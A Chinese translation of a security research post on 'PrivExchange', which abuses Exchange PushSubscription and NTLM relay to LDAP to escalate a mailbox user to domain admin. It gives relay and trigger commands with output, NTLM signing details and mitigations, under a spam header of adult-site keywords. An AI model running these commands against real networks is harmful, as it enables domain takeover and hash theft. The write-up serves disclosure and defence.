压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

在多數使用Active Directory和Exchange的組織中，Exchange服務器通常具有很高的權限，Exchange服務器上的管理員可以升級為域管理員。最近我看了一份來自于ZDI的文章(CVE-2018-8581的技術細節及其利用方式)，其中詳細介紹了一種通過HTTP使用NTLM向攻擊者進行交換身份驗證的方法。但我認為漏洞的危害不止于此，我們還可以將其與NTLM中繼攻擊相結合，使得用戶可以低權限(任意擁有郵箱的用戶)提權到域管理員。在默認情況下，我見過使用Exchange的組織有90%都會受到該攻擊的威脅，并且在我寫下這篇文章的時候還沒有相應的patch，暫時只能通過一些緩解措施來防止此權限升級。本文詳細介紹了攻擊方法，一些更具技術性的細節和相應的緩解措施，以及POC。我將本次攻擊稱為”PrivExchange”

通過新方式組合已知漏洞

本文將一些已知的漏洞和已知的協議弱點結合成一個新的攻擊方法。一共有3個部分組合起來，可以從低權限提權(任意擁有郵箱的用戶)到域管理員訪問權限：

1. 默認情況下，Exchange Server具有過高的權限
2. NTLM身份驗證容易受到中繼攻擊
3. Exchange具有一項功能，可以使用Exchange服務器的計算機帳戶對攻擊者進行身份驗證

一、交換和高權限

此處的主要漏洞是Exchange在Active Directory域中具有高權限。該Exchange Windows Permissions組可以以WriteDacl的權限來訪問Active Directory中的Domain對象，該對象允許該組的任何成員修改域權限，其中包括執行DCSync操作的權限。具有此權限的用戶或計算機可以執行域控制器通常用于復制的同步操作，這允許攻擊者同步Active Directory中用戶的所有哈希密碼。一些研究人員已經介紹了這一點（參見本文末尾的參考文獻部分），我去年與我的Fox-IT同事Rindert一起寫過這篇文章。在那篇文章中，我還發布了對ntlmrelayx的更新(https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py)，?這增加了在NTLM中繼時執行這些基于訪問控制列表(ACL)的攻擊的可能性。

NTLM中繼攻擊

NTLM中繼攻擊并不是一種新的攻擊手法。以前，我們主要關注的是通過SMB轉發NTLM身份驗證，以此來在其他主機上執行代碼。但遺憾的是，大多數公司網絡并未啟用SMB簽名，因此我們不能通過該方法進行攻擊。但我們可以試試其他協議，其他協議也容易受到中繼攻擊。在我看來，最有意思的協議是LDAP，它可以用來讀取和修改(Active)目錄中的對象。你可以訪問該鏈接復習一下NTLM中繼攻擊(https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/)。簡易的攻擊流程是，在沒有進行相關的配置來阻止攻擊的情況下，我們可以通過Windows(或自動地)將攻擊者的計算機連接到網絡中的其他計算機時執行(自動)身份驗證，如下圖所示：

當身份驗證進行到LDAP這一步時，可以修改目錄中的對象來授予攻擊者權限，包括DCSync操作所需的權限。

因此，如果我們可以讓Exchange服務器通過NTLM身份驗證向我們進行身份驗證，我們就可以執行ACL攻擊。注意，僅當受害者通過HTTP而不是通過SMB對我們進行身份驗證時，才能中繼到LDAP。（將在技術詳解一節中詳細闡述）

讓Exchange進行身份驗證

到目前為止，唯一缺少的部分是讓Exchange對我們進行身份驗證的簡單方法。ZDI研究員發現可以通過Exchange PushSubscription功能使Exchange通過HTTP對任意URL進行身份驗證。在他們的文章中(https://www.thezdi.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange) 他們使用此漏洞將NTLM身份驗證中繼回Exchange(這稱為反射攻擊)并冒充其他用戶。如果我們將此與默認情況下Exchange具有的高權限相結合并執行中繼攻擊而不是反射攻擊，我們可以使用這些權限為自己授予DCSync權限。推送通知服務有一個選項，即每隔X分鐘發送一條消息(攻擊者可以指定X)，即使沒有發生任何事件，即使收件箱中沒有新來信，也可以確保Exchange連接到我們。

執行權限提升攻擊

下面顯示了上述攻擊的示意圖，顯示了為升級權限而執行的步驟：

我們需要兩個工具來執行攻擊，privexchange.py(https://github.com/dirkjanm/privexchange/)和`ntlmrelayx`(https://github.com/SecureAuthCorp/impacket/)。?以域控制器上的LDAP作為目標，以中繼模式啟動ntlmrelayx，對攻擊者所控制的ntu用戶進行提權操作：

ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu

現在我們運行privexchange.py腳本：

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.

當與沒有郵箱的用戶一起運行時，我們將收到上述錯誤。我們再次嘗試與有郵箱的用戶：

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local 
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

一分鐘后(我們所設定的值)，我們看到ntlmrelayx的連接，它為我們的用戶提供DCSync權限：

我們使用secretsdump確認DCSync權限已到位：

通過獲取到的所有Active Directory用戶的哈希密碼，攻擊者可以創建冒充任何用戶的tickets，或使用任何用戶密碼哈希通過任何接受域中的NTLM或Kerberos的身份驗證。

技術詳解：中繼到LDAP和簽名

前文提到過，我們無法通過SMB將認證憑證中轉到LDAP，因此我們無法使用最近公布的SpoolService RPC濫用(https://github.com/leechristensen/SpoolSample/) 技術來進行攻擊（因為SpoolService RPC使用的是基于SMB的認證過程）。這方面的問題一直在出現，我將會詳細解釋為什么會這樣。如果你不想深入了解NTLM身份驗證，請跳過本節。

SMB和HTTP中的NTLM身份驗證之間的區別在于默認協商的標志。關鍵點在于NTLMSSP_NEGOTIATE_SIGNflag（0x00000010），關于這個標志，可查看該網站(https://msdn.microsoft.com/en-us/library/cc236650.aspx)。?默認情況下，HTTP上的NTLM身份驗證不會設置此標志，但如果在SMB上使用此標志，則默認情況下將設置此標志：

當我們將此數據包中繼到LDAP時，將成功完成身份驗證，但LDAP期望使用從密碼派生的會話密鑰（中繼攻擊中沒有該密碼，因此也不會有該密鑰）對所有消息進行簽名。因此，LDAP將忽略沒有簽名的任何消息，從而導致我們的攻擊失敗。是否可能在傳輸過程中修改這些標志，這樣就不會進行簽名協商。這在現在的Windows中不起作用，因為它們默認包含MIC(消息完整性檢查)，這是基于全部的3個NTLM消息的簽名，因此任何消息中的任何修改都會使其失效。

我們可以刪除MIC嗎？可以，因為它不在NTLM消息的受保護部分。然而，在NTLM身份驗證（僅限NTLMv2）中有一種保護機制可以防止這種情況發生：在NTLMv2響應包中，它使用受害者的密碼簽名，包含一個AV_PAIR結構MsvAvFlags。當此字段值為0x0002時，表示客戶端發送的type 3消息包含MIC字段。

修改NTLMv2響應會使身份驗證無效，因此我們也無法刪除此標志字段。該標志字段表示在認證過程中計算并包含MIC，這將使目標服務器對MIC進行驗證，進而驗證所有3條消息在傳輸過程中是否被修改，因此我們無法刪除簽名標志。

我認為這種情況只適用于Microsoft實現的NTLM。實現NTLM的自定義設備的安全性很可能不會到添加MIC和AV_PAIR標志的級別，這讓它們容易存在標志被修改的威脅，從而使SMB-> LDAP中繼成為可能。這種情況的一個例子是NTLM 的Java實現，它可以在傳輸過程中進行修改以繞過安全措施。

在沒有任何憑據的情況下執行攻擊

在上一節中，我們使用受損憑據來執行攻擊的第一步。但如果攻擊者只能執行網絡攻擊卻沒有任何憑據，我們依然可以觸發Exchange進行身份驗證。

如果我們執行SMB到HTTP（或HTTP到HTTP）中繼攻擊（使用LLMNR / NBNS / mitm6欺騙），我們可以將同一網段中用戶的身份驗證中繼到Exchange EWS并使用其憑據觸發回調。我已經編寫好一個小攻擊腳本httpattack.py，通過它我們可以使用ntlmrelayx從網絡角度執行攻擊而無需任何憑據(需要在代碼中修改攻擊目標host)：

緩解措施

此攻擊取決于各種組件的工作，適用于此次攻擊的最重要的緩解措施是：

• 刪除Exchange對Domain對象所具有的不必要的高權限（請參考下面的鏈接）。
• 啟用LDAP簽名并啟用LDAP通道綁定(https://support.microsoft.com/en-us/help/4034879/how-to-add-the-ldapenforcechannelbinding-registry-entry)，?以防止LDAP中繼攻擊和LDAPS中繼攻擊
• 阻止Exchange服務器與任意端口上的工作站建立連接。
• 在IIS中的Exchange端點上啟用身份驗證擴展保護機制(https://msdn.microsoft.com/en-us/library/dd767318%28v=vs.90%29.aspx) （但不要在Exchange后端使用，這將影響Exchange的正常使用）。該機制可以驗證NTLM身份驗證中的通道綁定參數，該參數將NTLM身份驗證與TLS連接聯系起來，并阻止攻擊者向Exchange Web服務發起中繼攻擊。
• 刪除注冊表項，這樣可以將中繼返回到Exchange服務器，如微軟對于CVE-2018-8518的防御方法(https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581)中所述。
• 在Exchange服務器上啟用SMB簽名（最好域中的所有其他服務器和工作站都啟用該機制），以防止對SMB的跨協議中繼攻擊。

相關工具&受影響的版本

POC:https://github.com/dirkjanm/PrivExchange
已在以下Exchange/Windows版本上進行了測試：

• Exchange 2013 (CU21)，Server 2012R2，中繼至Server 2016 DC（所有產品已打補?。?/li>
• Exchange 2016 (CU11)，Server 2016，中繼至Server 2019 DC（所有產品已打補丁）
  上述兩個Exchange服務器都是使用共享權限模式（默認設置）安裝的，但根據這篇文章(https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md)，?RBAC權限分離部署也很容易受到攻擊（但我沒有對此進行過測試）。

參考文獻

緩解措施

• 使用powershell刪除Exchange危險權限(https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1)
• 識別和刪除危險的Exchange權限(https://www.blackhat.com/docs/webcast/04262018-Webcast-Toxic-Waste-Removal-by-Andy-Robbins.pdf)
• ACL提權研究(https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf)

NTLM中繼/簽名機制

• NTLM反射攻擊的研究進展(https://github.com/SecureAuthCorp/impacket/issues/451)
• NTLM SMB到LDAP的中繼攻擊(https://github.com/SecureAuthCorp/impacket/pull/500)
• 處理中繼憑證(https://www.secureauth.com/blog/playing-relayed-credentials)

其他參考

• MS-NLMP(https://msdn.microsoft.com/en-us/library/cc236621.aspx)
• ZDI關于Exchange該漏洞的詳細分析(https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange)
• 如何通過中心主機遠程中繼(https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/)

原文地址：https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/